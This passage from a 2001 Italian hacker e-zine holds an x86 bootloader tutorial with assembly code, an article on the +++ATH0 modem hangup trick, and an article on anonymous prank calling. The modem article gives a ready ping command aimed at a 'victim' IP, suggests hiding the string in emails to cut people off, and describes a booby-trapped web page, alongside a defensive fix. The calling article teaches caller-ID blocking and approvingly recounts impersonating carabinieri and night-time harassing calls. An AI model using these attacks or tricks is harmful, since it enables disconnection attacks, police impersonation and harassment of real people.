| del genere (ma attualmente su qualsiasi dispositivo magnetico), |
| il bootblock è lungo 512 bytes. |
| Come primo settore, è identificato come settore numero 1 della |
| superficie numero zero della traccia numero zero. Questo modo di |
| identificare i settori su un disco è chiamato "coordinate CHS", |
| in quanto fornisce, nell'ordine, i tre valori che identificano: |
| (C)ylinder, (H)ead, (S)ector, in genere separati da duepunti. |
| Quindi le coordinate CHS del bootblock sono 0:0:1. |
| Attenzione a non confondersi: i settori sono sempre numerati |
| a partire da 1, mentre gli altri due valori partono da zero. Non |
| saprei dire perché, però le cose stanno così, che volete farci? |
| Il bootblock è un settore molto particolare, non tanto perché |
| è il primo settore fisico del supporto, quanto perché il BIOS si |
| aspetta di trovarci dentro il nostro bootstrap loader. Quando si |
| accende il PC con un floppy nel drive che DOS e Windows chiamano |
| "A" (e che il BIOS definisce in un altro modo), il BIOS prova ad |
| accedere al primo settore del dischetto e, se lo trova, ne carica |
| i contenuti a partire da una locazione di memoria fissa: per la |
| precisione si tratta della locazione 0000:7C00h. Dopodiché, il |
| BIOS salta direttamente a quella locazione, da dove il nostro |
| SO può finalmente prendere il controllo del computer. |
| Spero che a questo punto sia chiaro che nel bootblock non c'è |
| nient'altro che un programmino fatto di puro codice, senza nessun |
| "header", nessun "marchiatore" particolare. Soltanto 512 bytes di |
| puro codice macchina, che il BIOS eseguirà incondizionatamente. |
| |
| |
| |
| Come iniziare un bootstrap loader. |
| ---------------------------------- |
| |
| Bene, quei 512 bytes contenuti nel bootblock formano quel |
| minuscolo programma assembly chiamato "bootstrap loader". Esso |
| si occupa di caricare in memoria il sistema operativo, a cui di |
| solito trasferisce il controllo prima possibile. Ora, per prima |
| cosa, vediamo come sviluppare un bootstrap loader senza far |
| crashare niente. |
| |
| Prima istruzione: |
| CLI |
| |
| attenzione alle interrupts. |
| Le interrupts sono brevi programmi eseguiti per gestire |
| periferiche ed eventi. Esse interrompono temporaneamente |
| l'esecuzione del programma corrente, e di solito non sono |
| pericolose per l'integrità del sistema. MA QUANDO IL BIOS |
| trasferisce il controllo al bootstrap loader, non si cura |
| di mettere a posto un'area di STACK. Dato che l'area di |
| stack è quella parte di memoria usata per memorizzare dati |
| temporanei (come gli indirizzi di ritorno dei programmini |
| che gestiscono le interrupts), se un'interrupt venisse |
| eseguita mentre lo stack non è ancora al suo posto, il |
| risultato sarebbe un immediato crash. |
| L'istruzione CLI fa sì che le interrupts vengano sospese |
| fino a nuovo ordine. In questo caso "fino a nuovo ordine" |
| significa "finché non viene incontrata un'istruzione STI". |
| |
| Dopodiché, si può proseguire così: |
| XOR DX, DX |
| MOV SS, DX |
| MOV SP, 7C00h |
| |
| Le istruzioni che seguono CLI sistemano lo stack, facendolo |
| puntare all'offset 7C00h del segmento zero. In particolare, |
| "XOR DX, DX" è un modo più compatto di scrivere "MOV DX, 0". |
| Quindi in SS (Stack Segment) viene passato il valore zero, |
| ed in SP (Stack Pointer) viene passato il valore 7C00h. |
| Perché? Bè, per capirlo bisogna osservare questa piccola |
| mappa di memoria, che mostra la memoria al momento del boot; |
| gli indirizzi si riferiscono alla modalità reale (seg:off), |
| dove seg = segmento, off = offset, 16 bytes per segmento. |
| |
| INDIRIZZO (hex) LUNGHEZZA DESCRIZIONE |
| 0000:0000 1024 bytes Tabella interrupts |
| 0040:0000 256 bytes BIOS Data Area (BDA) |
| 0050:0000 30464 bytes (vuota) |
| 07C0:0000 512 bytes Bootstrap loader |
| 07E0:0000 fino a 9FC0:0000h (vuota) |
| 9FC0:0000 1024 bytes "Vecchio ultimo Kb" |
| A000:0000 64 Kb Prima pagina grafica |
| B000:0000 32 Kb Testo monocromatico |
| B800:0000 32 Kb Testo a colori |
| C000:0000 fino a 32Kb ROM della scheda video |
| C800:0000 fino a 32Kb ROM del controller HD |
| D000:0000 fino a 256Kb Upper Memory Blocks |
| F000:0000 64 Kb BIOS di sistema (ROM) |
| FFF0:0000 16 bytes Warm Boot Handler |
| FFFF:0000 65520 bytes High Memory Area |
| |
| Come si vede, in corrispondenza dell'indirizzo 07C0:0000, |
| che si può anche scrivere come 0000:7C00 (e se non capite |
| perché vi consiglio un buon libro di assembly per Intel), |
| è stato caricato il nostro bootstrap loader. Discendendo |
| lungo la memoria si può spaziare per la bellezza di 30464 |
| bytes, prima di incontrare le aree di vitale importanza per |
| il BIOS (cioè la BDA e la IVT, Interrupt Vectors Table). |
| Orbene, dato che lo stack è un'area di memoria "espand-down", |
| ovvero che viene espansa per decrementi del puntatore allo |
| stack (SP), questi 30464 bytes vengono riservati allo stack |
| iniziale. Il che, potete scommetterci, basta e avanza per |
| la tranquilla esecuzione delle interrupts. |
| Ora, magari qualcuno è curioso di sapere a cosa servono |
| tutte le altre aree di memoria, ma ci arriverò più avanti... |
| intanto, proseguiamo nella costruzione del bootstrap loader. |
| |
| Ora possiamo ripristinare le interrupts: |
| JMP $+2 |
| STI |
| |
| Uhmmm... come mai ho messo "JMP $+2"? |
| Significa: salta alla locazione posta due bytes pià avanti |
| di quella eseguita in questo momento. La locazione eseguita |
| in quel momento è quella che contiene "JMP", e due bytes più |
| avanti (vedi codice macchina di JMP) si trova l'istruzione |
| STI, quindi l'istruzione "JMP $+2" non fa altro che "saltarsi |
| da sola". Ma perché l'ho messa? Perché i cambiamenti di stack |
| possono essere, a volte, un po' "traumatici" per il computer. |
| Alcuni processori Intel e compatibili, di per sé, effettuano |
| un ciclo di arresto quando viene cambiato SP. Altri no. |
| Il fatto è che se un'interrupt venisse eseguita PROPRIO |
| subito dopo che il processore incontra "STI", ci sarebbe una |
| vaga, *ma non nulla*, possibilità che lo stack punti ancora |
| alla precedente locazione. Il motivo tecnico, dal punto di |
| vista del microprocessore, non ve lo so spiegare, ma vi basti |
| sapere che questo tipo di comportamento è stato osservato. |
| D'altra parte, non costa (quasi) nulla mettere un salto |
| "a vuoto" prima di STI, e quindi è consigliabile farlo, se |
| si vuole che non ci siano mai problemi durante il boot. |
| Un'altra cosa che non ho spiegato è perché ho usato proprio |
| il registro DX per caricare il segmento SS, e inoltre a quale |
| pericolosa locazione puntasse lo stack all'inizio. Allora... |
| Il layout (configurazione) dei registri nel momento in cui |
| il BIOS trasferisce il controllo al bootstrap loader, è questo: |
| |
| AX = POST status flags (flags di stato dopo il POST); |
| BX = CX = DX = indefiniti, ma in genere posti a zero; |
| SI = DI = BP = SP = tutti a zero; |
| IP = 7C00h oppure zero (dipende dal BIOS).
|
| |
| Mentre i registri di segmento appaiono così: |
| |
| CS = zero oppure 7C0h (dipende dal BIOS); |
| DS = ES = FS = GS = SS = zero. |
| |
| Se si deve azzerare un registro, la scelta più logica per |
| evitare di alterare qualche valore che potrebbe fornire delle |
| informazioni importanti, è proprio il registro DX. Ora, molti |
| SO semplicemente se ne infischiano dei flags di stato del POST |
| ed usano AX, ma è difficile dargli torto: in effetti, se il |
| boot è avvenuto, significa che eventuali fallimenti del POST |
| non sono stati critici. In genere, è possibile ignorare il |
| contenuto del registro AX. Solo che anche qui, non costa nulla |
| usare DX e lasciare AX intatto, almeno in questa prima sezione |
| del bootstrap loader. Quindi perché no? |
| |
| Ricapitolando... |
| CLI |
| XOR DX, DX |
| MOV SS, DX |
| MOV SP, 7C00h |
| JMP $+2 |
| STI |
| |
| Queste istruzioni introduttive dovrebbero essere considerate |
| "fisse", al di là di quel che poi il bootstrap loader farà per |
| caricare il kernel del sistema operativo. Queste istruzioni |
| hanno il solo scopo di "stabilizzare" l'ambiente di esecuzione. |
| |
| |
| |
| Il resto del bootstrap. |
| ----------------------- |
| |
| Ovvero come caricare il kernel; questo almeno in teoria. |
| Siccome le spiegazioni necessarie sono piuttosto lunghe, per |
| il momento mi fermo qui, fornendo come esempio di "bootstrap |
| loader funzionante" un minuscolo bootstrap loader, il quale si |
| limita a scrivere un classico "Hello, world!" sullo schermo e |
| poi attende un tasto. Alla pressione di un tasto, riavvia. |
| Comunque, è già importante notare che tutte le interrupts |
| utilizzate sono gestite dal BIOS. Non cercate, se le conoscete, |
| interrupts come la 21h (servizi DOS). Il DOS non c'è, così come |
| non c'è nessun altro sistema operativo in esecuzione: qui siete |
| del tutto soli, a quattr'occhi con il BIOS. State a vedere... |
| |
| ------8<------------8<------------8<------------8<------------8<------ |
| .MODEL TINY ; (ASM) modello di memoria |
| .CODE ; (ASM) inizio del programma |
| CLI ; istruzioni preparatorie |
| XOR DX, DX ; . |
| MOV SS, DX ; . |
| MOV SP, 7C00h ; . |
| JMP $+2 ; . |
| STI ; . |
| MOV DX, 07C0h ; DX = 7C0h |
| MOV DS, DX ; DS = DX |
| CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalità video |
| JNE SiamoGiaInModoTesto ; (se 0:449h contiene 3) |
| MOV AX, 0003h ; AH = 0 (set mode), AL = 3 |
| INT 10h ; (servizi video del BIOS) |
| SiamoGiaInModoTesto: |
| LEA BP, MESSAGGIO ; BP = puntatore alla stringa |
| MOV AX, 1301h ; AX = funzione "textout" |
| MOV BX, 000Ah ; BH = pagina(0), BL = colori |
| MOV CX, LUNGHEZZA_STRINGA ; CX = lunghezza stringa |
| MOV DX, 0000h ; DH = riga(0), DL = colonna(0) |
| PUSH DS ; ES = DS, perché il BIOS vuole |
| POP ES ; che ES:BP punti alla stringa |
| INT 10h ; (servizi video del BIOS) |
| EdOraAspettaUnTasto: |
| XOR AX, AX ; AX = funzione "get keystroke" |
| INT 16h ; (servizi tastiera del BIOS) |
| InfineRiavvia: |
| INT 19h ; (BIOS bootstrap) |
| MESSAGGIO: |
| db 'Hello World!' ; la stringa da scrivere... |
| LUNGHEZZA_STRINGA EQU $-MESSAGGIO ; (ne calcola la lunghezza) |
| END ; (fine listato) |
| ------8<------------8<------------8<------------8<------------8<------ |
| |
| Ora, per comprendere tecnicamente come funziona questo listato, |
| dovreste imparare a consultare, oltre a un manuale di assembly, |
| una preziosissima fonte d'informazioni sul funzionamento del BIOS e |
| delle periferiche. Si tratta della "Ralf Brown's Interrupts List", |
| ufficialmente scaricabile dal seguente sito: |
| |
| http://www.pobox.com/~ralf/files.html |
| |
| Se cercate, in quei 7 megabytes e passa di documentazione, |
| le funzioni usate nell'esempio, troverete ogni dettaglio a esse |
| relativo (per esempio, perché il messaggio lo scrive in VERDE). |
| Inoltre potete consultare il file MEMORY.LST incluso nel |
| suddetto archivio, per capire meglio a cosa serva quel controllo |
| sulla locazione 0000:0449h (oppure 0040:0049h). |
| I files di Ralf Brown sono di vitale importanza se volete |
| andare avanti in questo progetto, quindi procurateveli subito, |
| esplorateli a fondo e teneteli sempre a portata di mano. |
| |
| |
| |
| E ora come faccio a metterlo nel bootblock? |
| ------------------------------------------- |
| |
| Per quanto mi riguarda, come assemblatore uso il "Borland TASM", |
| "Borland Turbo Assembler 3.1", con accluso il suo "Turbo Linker", |
| in ambiente MS-DOS. Nel caso possiate procurarvelo, la sintassi è: |
| |
| TASM LISTATO.ASM |
| TLINK LISTATO.OBJ |
| |
| Bene: abbiamo il listato, lo abbiamo assemblato, lo abbiamo linkato, |
| e quindi abbiamo ottenuto un file con estensione .EXE che rappresenta |
| il nostro primo bootstrap loader. E ora come ce lo mettiamo nel floppy? |
| Sicuramente, NON come un semplice file. Scordatevelo pure: il floppy |
| non deve avere un sistema operativo "altrui": deve essere un floppy del |
| tutto vuoto, ma comunque formattato. Formattato, precisiamolo, per un |
| qualsiasi sistema operativo. Un floppy formattato da Linux va benissimo |
| quanto un floppy formattato da DOS o Windows... |
| Insomma, un floppy formattato ma del cui "file system" non ce ne |
| frega assolutamente niente, visto che non useremo il file system per |
| trasferirvi il bootstrap loader: useremo un'utility di scrittura "RAW" |
| del dischetto. "RAW" significa "cruda", "non assistita", "diretta". |
| Uhm... io ho scritto un programma del genere, che si chiama STREAM, |
| ma purtroppo esiste solo per MS-DOS / Windows. Quindi procuratevi uno |
| di questi due SO per cominciare... se poi qualcuno conosce un programma |
| del proprio SO che sia equivalente a STREAM (anche nella flessibilità, |
| badate bene che non basta un programma o un comando che prende la |
| cosidetta "immagine binaria" di un intero dischetto e la memorizza sul |
| floppy, perché STREAM può eseguire delle scritture mirate e precise). |
| |
| Bè, comunque, per prima cosa assicuriamoci che il file .EXE venga |
| "ripulito" del proprio "header" (il blocco d'intestazione che il DOS |
| utilizza per caricare il programma in memoria). Questo perché il nostro |
| particolare file NON VERRA' eseguito sotto DOS (crasherebbe tutto), ma |
| bensì direttamente dal BIOS che, come detto, non necessita di "headers" |
| o marchiatori particolari. |
| Per tagliare l'header dal file .EXE, diciamo che lo abbiamo chiamato |
| "LISTATO.EXE", c'è un'altro tool chiamato CHOPHEAD ("mozza la testa"). |
| CHOPHEAD, nel caso di un header di 512 bytes come quello dei file .EXE, |
| si usa così: |
| |
| CHOPHEAD LISTATO.EXE 512 |
| |
| Dopodiché potrete notare che la dimensione del file si è ridotta di |
| 512 bytes, perché i primi 512 bytes del file sono stati tagliati via, |
| lasciano il resto. I bytes rimanenti sono PURO CODICE MACCHINA, proprio |
| quello che ci serve per inserirlo nel bootblock. |
| Ricordatevi, a questo punto, che quel che rimane del file non può, |
| in nessun caso, superare 512 bytes, se deve essere un bootstrap loader. |
| Il BIOS carica sempre un solo settore dal bootblock, e niente di più: |
| il resto del nostro sistema lo caricherà proprio il bootstrap loader. |
| Per quanto riguarda il nostro esempio, è lungo 67 bytes. |
| |
| Ora inseriamo il floppy nel drive A ed usiamo STREAM per memorizzare |
| il bootstrap loader sul primo settore fisico del disco, a coordinate |
| CHS 0:0:1. Queste coordinate, però, STREAM le interpreta nel formato |
| T:S:H, Track-Sector-Head; ma tradurle non è niente di complicato, |
| perché T (numero traccia) equivale a C (numero cilindro), e gli altri |
| due valori semplicemente si scambiano, ottenendo le coordinate 0:1:0. |
| Ricordandosi inoltre di sostituire i duepunti con spazi vuoti, abbiamo: |
| |
| STREAM LISTATO.EXE 0 1 0 |
| |
| Se tutto va bene, STREAM risponderà come segue: |
| |
| ! Beginning |
| ? Warning: disk changed since last operation |
| - Writing area 00:01:00 (TT:SS:HH, 0 sectors so far and going) |
| ! Complete |
| ? Warning: last sector incomplete [file size not multiple of 512] |
| total sectors written: 1 |
| total bytes used: 512 |
| last access: 1 sectors |
| first sector used: 00:01:00 |
| next free sector: 00:02:00 |
| |
| E una volta che l'operazione è andata a buon fine? |
| (Non curatevi dei "warnings" di STREAM, è regolare che ci siano...) |
| Dicevo, una volta fatto questo? Bè, per vedere il bootstrap loader in |
| azione non rimane che riavviare il computer... non che ci sia molto da |
| vedere: appunto, la scritta "Hello world!", verde, in alto a sinistra. |
| Se a quel punto volete riavviare con il SO che avete sull'hard disk, |
| semplicemente togliete il floppy dal drive e premete un tasto. |
| |
| E' tutto, per ora. Spero che l'argomento vi risulti interessante. |
| Nel prossimo capitolo vedremo come caricare un esempio di kernel. |
| |
| Alexander The Great |
| alex.tg@tiscalinet.it |
| http://members.designheaven.com/~44 |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 |
| +++ATH0 [_snake] 0x10/0x23 |
+-------------------------------------------------------------------------------+
| |
| +++ATH0 |
| Intanto cosa è il +++ATH0 ? |
| E' una stringa, un comando che viene eseguito dai modem. |
| Cosa esegue il modem con questa stringa? |
| Analizziamo intanto il tutto: |
| +++ fa si che il modem passi in modalità "Escape", ossia in esecuzione |
| comandi standard. |
| AT sono due lettere che precedono sempre il comando vero e proprio che in |
| questo caso è H0 |
| H0 è il corpo del comando, quello che il modem deve eseguire, che in questo |
| caso è: "Hangup", detto più semplicemente il modem stacca la telefonata. |
| Quindi quando un modem esegue questa stringa compie le seguenti operazioni: |
| +++ = Il modem passa in modalità "Escape" (esecuzione comandi) ' ATH0 = |
| Esecuzione di HANGUP. |
| A questo punto il modem ha staccato la telefonata con il POP e quindi si è |
| disconnesso da internet. |
| |
| Quali pericoli può indurre questo bug? |
| I pericoli sono veramente pochi, intanto perché è semplicissimo fixarlo |
| (spiegato dopo), |
| l' unica seccatura è portata dal fatto che ci sono molte persone che non |
| hanno niente da fare in IRC e potrebbero staccarti la connessione. |
| Perché il modem svolga questo comando, la stringa +++ATH0 deve essere in |
| uscita dal nostro modem. |
| Come? |
| Ci sono diversi modi
se trasferiamo un file contenete la parola +++ath0 ci |
| disconnettiamo, se inviamo un' e-mail contentente il testo +++ath0 ci |
| disconnettiamo. Se vuoi fare uno scherzo a qualcuno che è infetto da questo |
| bug, gli scrivi unì e-mail e in fondo in piccolo scrivi +++ath0. Molti |
| programmi di posta quando devono rispondere a un messaggio copiano il testo |
| dell'e-mail ricevuta e quindi anche la solita stringa +++ath0, quando la |
| invia
. ;). L' ECHO REPLY è il principio che usano i molti programmi di war |
| che sfruttano questo bug. |
| Inviando un ICMP ECHO a un ip vittima contenente la stringa +++ATH0, essa |
| risponderà con un ECHO REPLY copiando la suddetta stringa. Risultato che |
| +++ATH0 esce dal modem della vittima e quindi avrà una disconnessone |
| immediata. |
| |
| Potremmo anche sbizzarrirci a far eseguire al modem della vittima tanti |
| comandi diversi. |
| |
| Da linux è possibile fare la stessa cosa con i ping. |
| Il comando ping serve per controllare una connessione remota, inviando dei |
| bytes che verranno restituiti in risposta. |
| Si possono definire i bytes che viaggiano, con l'opzione -p. |
| Il comando sarà: |
| ping -p 2B2B2B41544830 -s 5 123.45.67.89 |
| |
| 2B2B2B41544830 è la stringa +++ATH0 in esadecimale, -s 5 è la grandezza del |
| pacchetto (in questo caso 5 bytes), 123.45.67.89 è l'ip della vittima. |
| Recentemente ho scoperto una cosa curiosa: |
| stavo cercando il modo di immunizzarmi e cercai in VIRGILIO |
| (www.virgilio.it) la parola +++ATH0. Appena schiacciai INVIO la connessione |
| terminò senza motivo. |
| Riconnesso feci di nuovo la ricerca con lo stesso risultato. |
| Analizzando l'url che eseguiva explorer c'era la stringa %2B%2B%2Bath0, dove |
| %2B in codice ascii è uguale a +. |
| Un modem quando deve processare un url, prima lo analizza, poi invia la |
| richiesta al server. Quando il modem attua quest'ultima operazione, fa |
| "uscire" anche la stringa %2B%2B%2Bath0. |
| Conseguenza? |
| Hangup. |
| Provai a scrivere www.%2B%2B%2Bath0.it , oppure solamente %2B%2B%2Bath0, ma |
| non accadeva nulla
Poi feci un redirect con cjb.net, precisamente |
| b00m.cjb.net e redirectai www.%2B%2B%2Bath0.it. Ancora niente
Pensandoci |
| bene ogni url che scrivevo non esisteva, quindi pensai che per far eseguire |
| il comando +++ATH0 il modem doveva caricare qualcosa, un url esistente, un |
| server a cui mandare la richiesta, L'importante è che contiene anche il |
| comando di "Hangup". |
| Feci una pagina htm e la chiamai +++ath0.htm . Poi l'uploadai a un web |
| hosting, mi resi di nuovo scoperto all' +++ath0 e eseguii l'url. |
| Caddi subito. Riprovai diverse volte e cadevo ad ogni tentativo. Quando mi |
| immunizzavo di nuovo al bug, non accadeva assolutamente niente. |
| |
| Per proteggersi da eventuali attacchi ci sono diversi modi, intanto |
| controlla se già non sei attaccabile da questo bug: www.b00m.cjb.net . Li ho |
| messo la page di cui ho parlato prima. Appena caricata non ci sarà |
| apparentemente niente, apparte il solito IMPOSSIBILE VISUALIZZARE LA PAGINA |
| WEB. Non perché non è stata caricata o perché non esiste. Semplicemente |
| nell' html della page ho messo l'html delle pagine non visualizzabili
ma con |
| un errore
se guardi bene lo scopri =) |
| |
| Immunizziamoci. |
| - Filtrare gli icmp contenenti la stringa +++ATH0. Questo e' possibile, ma |
| fastidioso e poi se vorremmo lanciare noi degli attacchi di questo genere |
| saremmo i primi a cadere. |
| - Cambiare il carattere di escape. Invece di + potrebbe essere -, ma alcuni |
| nuker provano tutto il range di ascii possibili e quindi potrebbero riuscire |
| a farti cadere. |
| Il modo più efficace e' fixare il modem con l'apposita stringa ATS2=255 . |
| Per farlo basta andare a Risorse del computer ' Accesso remoto , clickare |
| col dx sulla tua connessione e selezionare Proprietà. Si aprirà una |
| finestra, in basso c'è un pulsante con scritto configura, clickaci, a questo |
| punto si apre una seconda finestra, in alto al centro c'è Connessione, |
| clicka li, poi nella schermata che viene in basso c'è un pulsante: Avanzate. |
| Si aprirà una terza finestra. Al centro c'è "Altre impostazioni", incolla |
| dentro questa stringa: ATS2=255. |
| |
| Questo e' il mio primo articolo per una e-zine, spero ti sia piaciuto =) |
| Per critiche, approfondimenti, o quello che ti pare scrivimi a: |
| solid.snake@email.it |
| Hi, snake_ |
| |
| |
+-------------------------------------------------------------------------------+
+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 |
| TELEF0NARE iN M0D0 AN0NiM0 [Screener_it] 0x11/0x23 |
+-------------------------------------------------------------------------------+
| |
| Titolo: come fare chiamate anonime da fisso, cellulare, cabina. |
| Autore: Screener_it |
| email: screener_it@freemail.it |
| web site: http://go.to/tankcommandos |
| |
| Ogni riferimento a cose, fatti, persone, avvenimenti, sono frutto di |
| pura fantasia. |
| Il testo deve intendersi a scopo esclusivamente informativo (io non |
| vi invito a fare cazzate.. Anzi !!) |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| Oggi parleremo di chiamate anonime amici !!! |
| Chi di voi non ha mai fatto scherzi telefonici ? Sono divertenti, fanno |
| crepare dal ridere e se fatte bene sono qualcosa di unico.. |
| Tanto per farvi un esempio, un paio di settimane fa ero a casa mia che |
| guardavo |
| insieme a un po' di miei amici (20 persone !!) la partita Inter - Juve. |
| Lasciamo stare la partita, di quella non voglio parlare. |
| Dicevamo, stavamo guardando la partita e nell'intervallo ci è venuta un'idea |
| !! |
| Chiamare a casa di un nostro amico [che chiameremo C.] (a cui i carabinieri |
| avevano messo in fermo amministrativo l'Ape) e fargli un bello scherzo. |
| Però bisogna restare seri e tranquilli. Quindi lo faccio io. |
| Prendo il cellulare e chiamo casa di questo povero pirla. |
| Ecco la chiamata: (le * sono messe per la privacy) |
| P.= padre del C. |
| S.= Screener_it |
| |
| P.: Pronto ? |
| S.: Pronto ? Famiglia *** ? |
| P.: Sì, chi parla ? |
| S.: E' la caserma dei carabinieri di ****. Posso parlare con il signor C. ? |
| P.: No, adesso non c'è. Ci sono problemi per caso ? |
| S.: Sì, a dir la verità un problema c'è. Qui mi risulta che il suo mezzo, mi |
| pare sia [adesso rumore di fogli per fare finta che stai rovistando nei |
| documenti] un'Ape è stata messa in fermo amministrativo. Sbaglio ? |
| P.: No, no, ha ragione. |
| S.: E mi risulta che lei ha firmato per tenere il mezzo suddetto presso la |
| vostra abitazione. E' esatto ? Se mi sbaglio mi corregga pure. |
| P.: No, no, è tutto giusto. |
| S.: Bene, ci risulta che oggi l'Ape è stata vista girare per il paese con 2 |
| persone a bordo. |
| P.: No, è impossibile. L'Ape è sempre restata qua a casa !!! |
| S.: Il numero di targa è 44WWW ? (al posto di 44WWW mettete la targa vera). |
| P.: Sì. |
| S.: Senta, non mi prenda in giro !! E' sicuro che l'Ape non si sia mossa ? |
| P.: Certo, certo. Almeno.. Cioè io non l'ho tenuta sotto controllo del |
| tutto.. Forse il ragazzo.. |
| S.: Calmo, calmo. Forse ci stiamo sbagliando noi. Controllerò di nuovo e la |
| richiamerò più tardi per eventuali aggiornamenti, va bene ? |
| P.: Sì, grazie, grazie davvero. Guardi, appena torna il C. gli faccio un |
| culo se ha usato l'Ape.. |
| S.: Forse non serve usare la violenza, vedremo di risolvere la questione. Le |
| ricordo comunque che in caso chi risponde penalmente è lei !! Arrivederci !! |
| |
| Tutti in giro a me erano per terra a ridere a crepapelle, ma io ero riuscito |
| a mantenere la calma. Basta che facciate una voce seria e impostata. Non |
| tentate di modificarla, vi beccherebbero subito. Calma e sangue freddo e |
| tutto filerà per il verso giusto. |
| Dopo ho fatto un'altra chiamata al padre dicendo che era tutto uno scherzo, |
| altrimenti quello il C. lo pestava a sangue. |
| |
| Dicevamo delle telefonate anonime. Se facevo uno scherzo del genere e chi |
| riceveva la telefonata aveva il temuto "Chi é" della Telecom si trovava con |
| il mio bel numero e rischiavo di trovarmi il padre di questo qui a casa con |
| una spranga e (nella peggiore delle ipotesi) una denuncia per essermi |
| spacciato per un carabiniere. |
| |
| Come fare allora a fare scherzi telefonici senza essere beccati ? Semplice, |
| basta anonimizzare la chiamata. |
| I metodi si differenziano se usate un telefono fisso (tipo quello di casa), |
| il cellulare ,una cabina telefonica o gli SMS |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| 1.- Telefono fisso |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| L'ho scoperto di recente.. Cmq funziona alla stragrande. |
| Cominciamo che il sistema "manuale" è gratuito. Che è già un bel dire. |
| Comunque basta anteporre al numero da chiamare *67# oppure 1793. |
| Come oppure ? Funzionano entrambi, li ho messi entrambi perchè non tutti i |
| telefoni (tipo il mio cordless vecchio preistorico) accettano come primo |
| numero la *. |
| Un altro motivo è che se volete chiamare il vostro provider non potete |
| anteporre *67#, perchè il computer non li riconosce. Anteponete 1793. |
| Per chi non avesse capito il funzionamento: |
| mettiamo per esempio che vogliate chiamare il numero 02 123456 (numero a |
| caso). |
| Se volete fare in modo che non appaia il vostro numero basta digitare |
| *67#0212345 |
| Capito adesso ? |
| Questo sistema si chiama (testualmente) Blocco Identificativo del Chiamante |
| (sigla BIC). |
| Anteporre però ogni volta il *67# è però un po' pesante se si vuole usare |
| sempre. |
| Potete (a pagamento) avere il BIC permanente, così facendo TUTTE le chiamate |
| in uscita dal vostro telefono di rete fissa saranno anonime. Per avere il |
| BIC permanete dovete fare richiesta per iscritto alla Telecom (per maggiori |
| informazioni telefonate a quelle belle troie del 187). |
| |
| NOTIZIA PURAMENTE TEORICA: quando scrivo adesso è solo una mia pazza idea.. |
| Vi siete accorti che adesso sulle bollette appaiono anche il numero di |
| chiamate fatte in rete urbana, extraurbana, verso mobili, ecc.. (se c'era |
| anche prima non so, me ne sono accorto adesso, dopo che i miei mi hanno |
| sbattutto in faccia la bolletta !!). |
| Ora.. Dato che mi sono trovato la ragazza (ciao Marina !!)[e l'ho già persa, |
| se è per quello !!] e che la chiamo praticamente tutti i giorni sul |
| cellulare per min. 15 minuti quando arriva la bolletta e i miei vedono 40 |
| telefonate a mobile mi fanno il culo !! (o lo fanno a mia sorella, che è |
| meglio !!). |
| Non è che magari con quel *67# sulla bolletta non risulta che è una chiamata |
| al cellulare, ma che è una semplice urbana ? Chi ha notizie in merito mi |
| mandi una mail !!! |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| 2.- Telefono cellulare |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| Questo sistema invece è vecchio come il mondo. (meglio, vecchio come la |
| diffusione del cellulare o quasi.) |
| L'Italia (notizia di pochi giorni fa) è tra i paesi con la più alta presenza |
| in percentuale di cellulari. |
| Praticamente tutti ce l'hanno (se l'è comprato pure la mia nonnina !!). |
| E volete farmi credere che non fate mai scherzi (dal classico squillo alle |
| minacce di morte via SMS). |
| Qui però la faccenda è più seria. Infatti TUTTI i cellulari hanno già in sè |
| l'identificativo del chiamante. In questo modo appena voi chiamate sul |
| display (che bella 'sta parola !!) del telefonino appare il vostro bel |
| numero. |
| Un po' scocciante non vi pare ? Ma c'è rimedio a tutto !!! Per i cellulari |
| infatti cambiando i codici da anteporre al numero, ma l'essenza resta quella |
| !!! |
| Basta mettere davanti al numero il famoso #31# e il gioco è fatto. |
| Esempio (x i più celebrolesi): |
| Volete chiamare lo 0338 1111111 ma volete restare anonimi ? Digitate |
| #31#03381111111 e il telefonino che riceve la chiamata al posto del vostro |
| numero scriverà "Anonimo" o "Numero privato" !!! STUPENDO !!! |
| |
| /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ |
| 3.- Cabine telefoniche |
| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ |
| |
| Scrivo questa parte solo per un paio di miei amici, che sono furbi come.. |
| Và, non dico quanto sono furbi xchè se no mi sbattono fuori dalla compagnia |
| (e dopo con chi faccio la "bala" ?) |
| Allora, era inverno, gennaio ed era il giorno della festa del mio |
| compleanno. Faccio la festa a casa mia. I miei non c'erano, quindi l'alcool |
| girava come fosse acqua. A mezzanotte eravamo tutti ubriachi. |
| Uno dei miei amici (che x rispetto alla privacy chiameremo R.) era insieme a |
| Ch. |
| A un certo punto della serata si mollano, xchè lei gli aveva fatto i corni. |
| Tralasciamo il fatto che lui ha tentato di pestarla, sorvoliamo sul fatto |
| che lui le abbia tirato il portafoglio urlando:"Le troie le va pagade.. To' |
| stronza !! E adesso deme la bira che devo purificarme !!" |
| Vabbè, come dicevo sorvoliamo. |
| Alla fine della festa vanno tutti a casa, io vado a dormire dai miei zii (i |
| miei non c'erano e dovevo stare a dormire da loro). Dall'ubriaco che ero mi |
| butto vestito sul letto, non spengo nemmeno il cellulare e mi addormento. |
| Questi miei amici intanto vanno a una cabina telefonica e cominciano |
| (all'una di notte !!!!) a chiamare a casa di Ch. |
